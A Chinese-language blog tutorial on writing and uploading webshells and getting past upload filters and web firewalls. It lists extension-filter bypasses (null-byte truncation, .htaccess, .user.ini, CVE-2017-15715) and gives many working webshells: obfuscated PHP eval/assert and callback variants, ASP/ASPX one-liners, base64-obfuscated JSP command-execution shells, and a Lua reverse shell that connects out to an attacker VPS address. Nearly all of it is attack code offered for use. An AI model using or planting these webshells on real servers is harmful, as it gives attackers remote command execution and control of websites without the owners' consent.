前言

上传木马是我们常用的攻击手段,当你成功上传一个木马到网站,也就代表你的前渗透结束。上传是开发者最重视的地方,也是最容易被攻击的地方。
我们平时上传的木马可以分为大马和小马。大马是一个集成的shell,只要访问大马就可以使用。而小马就是我们常用的一句话木马,轻巧多变,但需要其他工具连接。
连接工具推荐蚁剑,冰蝎,这两个工具都自带木马,便于我们利用。

而按照网页编写语言的不同,木马又会被分为以下几类:

  • php一句话
  • asp一句话
  • jsp一句话
  • aspx一句话
  • lua一句话

asp已经被微软舍弃,基于.NET的aspx也很少使用,jsp基于java但前后端混动且不支持Nginx。
如今PHP当道,大部分网站都是用PHP,php也就成了我们的主要研究对象。

PHP一句话

原理

经典PHP一句话
<?php @eval($_POST['cmd']);?>
原理:@表示不报错,eval是命令执行函数,cmd是POST参数。这条代码将cmd参数值作为命令执行。十分小巧的代码,但只要连接它就可以获得这台服务器。

这个木马因为太过经典和简易,已经成为了历史,但形形色色的webshell都是基于这个最简单的木马衍生出来的。我们将这个木马拆分,来了解后端是如何检测木马,我们又如何绕过检测。

1. php格式

首先要检测的,就是php格式。php文件的后缀必须为.php,php代码必须被<?php ?>包裹,这两点是无法改变的。

文件后缀绕过

想要绕过对文件后缀的检测,先要明白检测的类型。检测分为前端检测和后端检测,前端检测是通过JS实现,我们只需要改变文件名,然后BP抓包,将文件名修改为.php就可以绕过前端检测。

后端检测则是在服务器端进行判断,又分为黑名单过滤和白名单过滤。

  • 黑名单
    顾名思义,会过滤掉一些危险的文件后缀。此时可以通过修改后缀,在不影响网站解析的前提下绕过过滤。

    1. 大小写
      过滤对大小写不敏感时,改php为Php
    2. %00截断
      %00截断经常用在服务端把文件路径和文件名加在一起进行判断后缀,例如 /upload/webshell.php%00webshell.jpg
      在这里系统解析的时候会自动忽略%00后面的内容,最终解析为 /upload/webshell.php
      从而达到绕过的目的。
    3. php3457
      该项为apache专属
      关键点在/etc/apache2/mods-available/php5.6.conf这个文件,满足.+.ph(p[3457]?|t|tml)$,都会被当作php文件解析。在apache2目录下grep -r x-httpd-php /etc/apache2找到对应文件就能知道解析哪些后缀
    4. unicode
      当目标存在json_decode且检查在json_decode之前,可以将php写为u0070hp
    5. 多后缀解析漏洞
      在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
      如1.php.abc,因apache2不识别.abc后缀,所以向前解析php
    6. .htaccess
      Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)
      当站点配置上标有AllowOverride All,并且rewrite_mod开启时,.htaccess文件就会生效。
    7. CVE-2017-15715
      利用在上传文件时,文件名之后添加一个x0a来绕过黑名单上传的限制
    8. php-cgi漏洞
      在php配置文件中,开启了cgi.fix_pathinfo,导致图片马1.jpg可以通过访问1.jpg/.php解析成php。
    9. .user.ini
      当使用CGI/FastCGI 来解析php时,php会优先搜索目录下所有的.ini文件,并应用其中的配置。类似于apache的.htaccess,但语法与.htacces不同,语法与php.ini一致。因nginx实际上只是起到转发的作用,实际解析一般为php-fpm或fastcgi来解析,所以在.user.ini中写如auto_prepend_file=test.jpg,之后上传.user.initest.jpg,过一段时间等待.user.ini被加载后,会导致每个php文件解析之前先将test.jpg当作php解析。
    10. 文件头绕过
      修改文件后缀为黑名单外后缀,然后在文件内容前加入文件头,如允许上传文件为图片,可加入GIF的文件头GIF89a
  • 白名单
    当后端 设置了一个白名单,如只能上传jpg,png,gif,这时上面的绕过方式无法使用。

    1. 图片木马
      需要配合解析漏洞或者文件包含漏洞。将一句话木马放在图片源码中上传,再解析或包含图片达到解析效果。
    2. zip木马
      利用伪协议解析,具体操作在文件包含系列中说过,不再赘述。
      文件包含之伪协议

文件内容绕过

对php文件检测,最明显的就是<?php ?>,这里的绕过方式我只会一种,如果有大神有别的方法绕过请带带我。

php短标签

<?php 这是完整标签
<? 这是短标签

前提条件:
php.ini中
short_open_tag = On

<?php ?>,可使用更灵活的调用方法

<? /*程序操作*/ ?>
<?=/*函数*/?>

phtml

这个方法基于旧版php文件格式phtml,这个方法需要后缀检测为黑名单检测法。该方法可以绕过对<?关键字的检测,payload为

<script language="PHP">@eval($_POST["a"]);</script>

2. php命令执行函数

大多数防火墙的检测机制就是对文件内的危险函数进行检测,在CTF中会有正则表达式对常用的命令执行函数进行过滤。这里提供几种过滤思路,不要被形式拘泥~

  1. 关键函数编码
    x65编码字符'e'

    <?php array_map("assx65rt",(array)$_REQUEST['si1ence']);?>    //1.php
    <?php array_map("asx73ert",(array)$_REQUEST['si1ence'];?>     //2.php
    <?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['si1ence']);?> //3.php
    <?php eval(str_rot13('riny($_CBFG[cntr]);'));?> // 4.php

    base64编码

    <?php $x=base64_decode("YXNzZXJ0");$x($_POST['si1ence']);?> //5.php
  2. 冷门函数绕过
    木马最常用的有eval,assert,常用的函数和我在命令执行系列中罗列的函数相同。
    命令执行系列

    create_function()

    $func = create_function('', $_POST['cmd']);
    $func();

    file_put_contents()
    把一个字符串写入文件中,在浏览器访问这个文件会生成相应的木马文件。

    $ma = '<?php eval($_REQUEST[cmd]);?>';#这里一定要使用单引号双引号会把$_REQUEST[]当作变量使用
    file_put_contents('muma.php', $ma);

    array_map()

    array_map($_GET[func], array($_POST[cmd]));

    回调函数
    先放大佬的博客,有志研究的可以直接看大佬博客 PHP回调后门
    很多回调函数在php7.0以上的版本直接被干掉了,所以要对应版本写马。

    call_user_func()
    把第一个参数作为回调函数调用,其余参数是回调函数的参数。

    call_user_func('assert', $_POST['cmd']);
    //也可将将第一个参数设为GET参数
    call_user_func($_GET['a'], $_POST['cmd']);

    call_user_func_array()
    调用回调函数,并把一个数组参数作为回调函数的参数

    $cmd = $_REQUEST['cmd'];
    $arr[0] = $cmd;
    call_user_func_array('assert', $arr);
    //同上,参数可直接改为REQUEST参数
    call_user_func_array($_GET['a'], $_POST['cmd']);

    register_tick_function()

    <?php
    declare(ticks=1);
    register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);
    ?>

    session_set_save_handler
    session_set_save_handler函数可以定义用户级的session保存函数(打开、保存、关闭),当我们想把session保存在本地的一个数据库中时,本函数就很有用了。
    编写shell如下:

    <?php
    error_reporting(0);
    $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
    function open($save_path, $session_name)  // open第一个被调用,类似类的构造函数
    {}
    function close()    // close最后一个被调用,类似 类的析构函数
    {
    }
    session_id($_REQUEST['op']);// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
    function write($id, $sess_data)
    {}
    function destroy($id)
    {}
    function gc()
    {}
    // 第三个参数为read  read(string $sessionId)
    session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
    @session_start(); // 打开会话
    ?>
    //可以将sesssion作为GET参数传入
    $session=$_REQUEST['id'];

    动态函数

    <?php $_GET['a']($_POST['b']);?>

asp一句话

最常见asp一句话
<%eval request ("pass")%>
简单变形

<%execute request("chopper")%>

<%execute(request("chopper"))%>

<%ExecuteGlobal request("chopper")%>

<%Eval(Request(chr(35)))%>

aspx一句话

常见aspx一句话
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
网上的asp和aspx木马都很老了,所有用好蚁剑和菜刀的木马应该就够了吧。

jsp一句话

jsp虽然少见,但还是会用到,本人java学得很烂,所以先放一个大佬的博客吧,侵删

jsp木马详解

原理

JSP的核心实质是Servlet技术。JSP是后来添加的基于Servlet的一种扩展技术。但二者在使用上有不同的方向。
由于Servlet实质是一个Java类,因此非常适合用来处理业务逻辑。而如果Servlet要展示网页内容,就必须通过输出流对象将view层的代码通过字符串的形式输出,非常麻烦,且不易阅读和维护。另一方面,在JSP中可以直接编写视图层的代码如HTML,因此JSP的它主要用来展示网页内容。但是由于JSP实质是Servlet,因此JSP也是一种动态网页技术。

web防火墙最常见的检测机制就是对文件内的敏感函数检测,而JSP的语法没有所谓的eval函数,不像php等语言那么灵活,变形困难,所以JSP的免杀马比较少,相关的文章也比较少。且因为jsp马的本质是对类的定义和调用,所以长度上也会比其他木马要长。

JSP标签

在JSP页面中嵌入java代码,首先要了解一下JSP标签的基本知识。

<%@ %>    页面指令,设定页面属性和特征信息
<% %>     java代码片段,不能在此声明方法
<%! %>    java代码声明,声明全局变量或当前页面的方法
<%= %>    Java表达式

绕过

常见jsp一句话
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

  1. 二次写马

    <%
    if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
    %>

    http://localhost/shell.jsp?f=1.txt&t=hello
    写入hello至1.txt,同理可写一个新木马传入

  2. 简单变形
    有时服务器版本不支持,会报错

    <%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>
    
    <body>
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>
    </html>
  3. 编码绕过
    base64编码

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="sun.misc.BASE64Decoder" %>
    <%
    if(request.getParameter("cmd")!=null){
        BASE64Decoder decoder = new BASE64Decoder();
        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
        Process e = (Process)
                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
                        Object[]{}), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
    %>

    同理,还有其他编码,大佬的博客上有写

lua一句话

lua是一种脚本语言,如openresty就是一个基于Nginx和Lua的Web平台,对于lua不存在传统的可持续连接的木马,需要我们访问木马页面来触发反弹shell

local sock = ngx.socket.tcp()
local ok, err = sock:connect("192.168.3.5", "2333") //VPS的ip和端口
if not ok then return end

while true do
    local r,x = sock:receive()
    local f = assert(io.popen(r,"r"))
    local b = assert(f:read("*a"))
    sock:send(b)
end

f:close()
sock:close()

后记

鉴于本人比较菜,以后遇到新型webshell会继续更新。
活用github,上面有许多木马库和webshell工具,如蚁剑、冰蝎等都与独特的木马。还有这个godzilla,可以生成木马并连接,插件多且实用。
不要去逐一尝试哪个木马可以用,而是去分析防火请的机制,注意上传手法。


"孓然一身 , 了无牵挂"